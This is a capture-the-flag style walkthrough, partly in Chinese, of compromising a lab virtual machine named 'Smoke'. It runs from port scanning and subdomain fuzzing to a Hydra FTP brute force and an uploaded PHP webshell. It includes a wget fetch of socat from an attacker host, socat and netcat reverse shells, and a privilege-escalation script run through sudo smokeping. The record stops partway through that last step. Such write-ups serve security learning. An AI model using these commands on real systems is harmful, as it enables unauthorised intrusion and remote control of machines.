┌──(root㉿kali)-[~] └─# rustscan -a 192.168.43.54 -- -A .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Breaking and entering... into the world of open ports.
[~] The config file is expected to be at "/root/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.43.54:21 Open 192.168.43.54:22 Open 192.168.43.54:80 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.54 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-15 04:42 EDT NSE: Loaded 157 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 04:42 Completed NSE at 04:42, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 04:42 Completed NSE at 04:42, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 04:42 Completed NSE at 04:42, 0.00s elapsed Initiating ARP Ping Scan at 04:42 Scanning 192.168.43.54 [1 port] Completed ARP Ping Scan at 04:42, 0.05s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 04:42 Completed Parallel DNS resolution of 1 host. at 04:42, 0.20s elapsed DNS resolution of 1 IPs took 0.21s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 04:42 Scanning 192.168.43.54 [3 ports] Discovered open port 22/tcp on 192.168.43.54 Discovered open port 21/tcp on 192.168.43.54 Discovered open port 80/tcp on 192.168.43.54 Completed SYN Stealth Scan at 04:42, 0.02s elapsed (3 total ports) Initiating Service scan at 04:42 Scanning 3 services on 192.168.43.54 Completed Service scan at 04:42, 6.04s elapsed (3 services on 1 host) Initiating OS detection (try #1) against 192.168.43.54 NSE: Script scanning 192.168.43.54. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 04:42 Completed NSE at 04:42, 3.50s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 04:42 Completed NSE at 04:42, 0.01s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 04:42 Completed NSE at 04:42, 0.00s elapsed Nmap scan report for 192.168.43.54 Host is up, received arp-response (0.00059s latency). Scanned at 2026-04-15 04:42:10 EDT for 11s
PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 64 vsftpd 3.0.5 22/tcp open ssh syn-ack ttl 64 OpenSSH 10.0 (protocol 2.0) 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.66 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Did not follow redirect to http://smoke.dsz/ |_http-server-header: Apache/2.4.66 (Unix) MAC Address: 08:00:27:8A:02:44 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4) TCP/IP fingerprint: OS:SCAN(V=7.95%E=4%D=4/15%OT=21%CT=%CU=40674%PV=Y%DS=1%DC=D%G=N%M=080027%TM OS:=69DF4F6D%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=105%TI=Z%CI=Z%TS=A) OS:OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4 OS:ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88) OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+% OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A= OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40 OS:%CD=S)
Uptime guess: 23.951 days (since Sun Mar 22 05:53:25 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=259 (Good luck!) IP ID Sequence Generation: All zeros Service Info: Host: Smoke.localdomain; OS: Unix
TRACEROUTE HOP RTT ADDRESS 1 0.59 ms 192.168.43.54
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 04:42 Completed NSE at 04:42, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 04:42 Completed NSE at 04:42, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 04:42 Completed NSE at 04:42, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.48 seconds Raw packets sent: 26 (1.938KB) | Rcvd: 18 (1.410KB)
┌──(root㉿kali)-[~] └─# wfuzz -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u smoke.dsz -H 'Host: FUZZ.smoke.dsz' --hh 29 --hc 301 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://smoke.dsz/ Total requests: 100000
===================================================================== ID Response Lines Word Chars Payload =====================================================================
000000014: 200 65 L 304 W 3137 Ch "ftp" 000000001: 200 69 L 181 W 3518 Ch "www" 000037212: 400 10 L 36 W 347 Ch "*"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-15 05:35:54 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking ftp://192.168.43.54:21/ [STATUS] 296.00 tries/min, 296 tries in 00:01h, 14344103 to do in 807:40h, 16 active [STATUS] 289.67 tries/min, 869 tries in 00:03h, 14343530 to do in 825:18h, 16 active [21][ftp] host: 192.168.43.54 login: ftpuser password: kelvin 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-15 05:40:56
ftpuser:kelvin
登录ftp上传webshell
1 2 3 4 5 6 7 8 9 10 11 12
ftp> cd /var/www/vhosts/ftp.smoke.dsz/uploads 250 Directory successfully changed. ftp> pwd Remote directory: /var/www/vhosts/ftp.smoke.dsz/uploads ftp> put shell.php local: shell.php remote: shell.php 229 Entering Extended Passive Mode (|||43725|) 150 Ok to send data. 100% |**************************************************************************************| 31 398.33 KiB/s 00:00 ETA 226 Transfer complete. 31 bytes sent in 00:00 (25.63 KiB/s) ftp>
cd /tmp/ mkdir aa cd aa busybox wget http://192.168.43.37:8088/socat chmod +x socat 攻击机：socat file:`tty`,raw,echo=0 tcp-listen:9191 靶机：cmd=system("/var/www/vhosts/ftp.smoke.dsz/uploads/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.43.50:9191");
提权
apache -> ftpuser
由于前面已经爆破出ftpuser的密码了所以这里直接切换
1 2 3
apache@Smoke:/etc/smokeping$ su ftpuser Password: ftpuser@Smoke:/etc/smokeping$
ftpuser -> tkbic
1 2 3 4 5 6 7 8 9 10 11
ftpuser@Smoke:~$ sudo -l [sudo] password for ftpuser: Matching Defaults entries for ftpuser on Smoke: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for ftpuser: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
User ftpuser may run the following commands on Smoke: (tkbic) /usr/bin/cpulimit
tkbic@Smoke:/tmp# echo '#!/bin/sh' > /tmp/pwn.sh tkbic@Smoke:/tmp# echo 'nc 192.168.43.50 9999 -e /bin/sh' >> /tmp/pwn.sh tkbic@Smoke:/tmp# chmod +x /tmp/pwn.sh tkbic@Smoke:/tmp# sudo /usr/bin/pkill smokeping tkbic@Smoke:/tmp# sudo /usr/sbin/smokeping --config=/tmp/evil.conf WARNING: Hostname 'alpinelinux.org' does currently not resolve to an IPv4 address WARNING: Hostname 'docs.alpinelinux.org' does currently not resolve to an IPv4 address WARNING: Hostname 'pkgs.alpinelinux.org' does currently not resolve to an IPv4 address
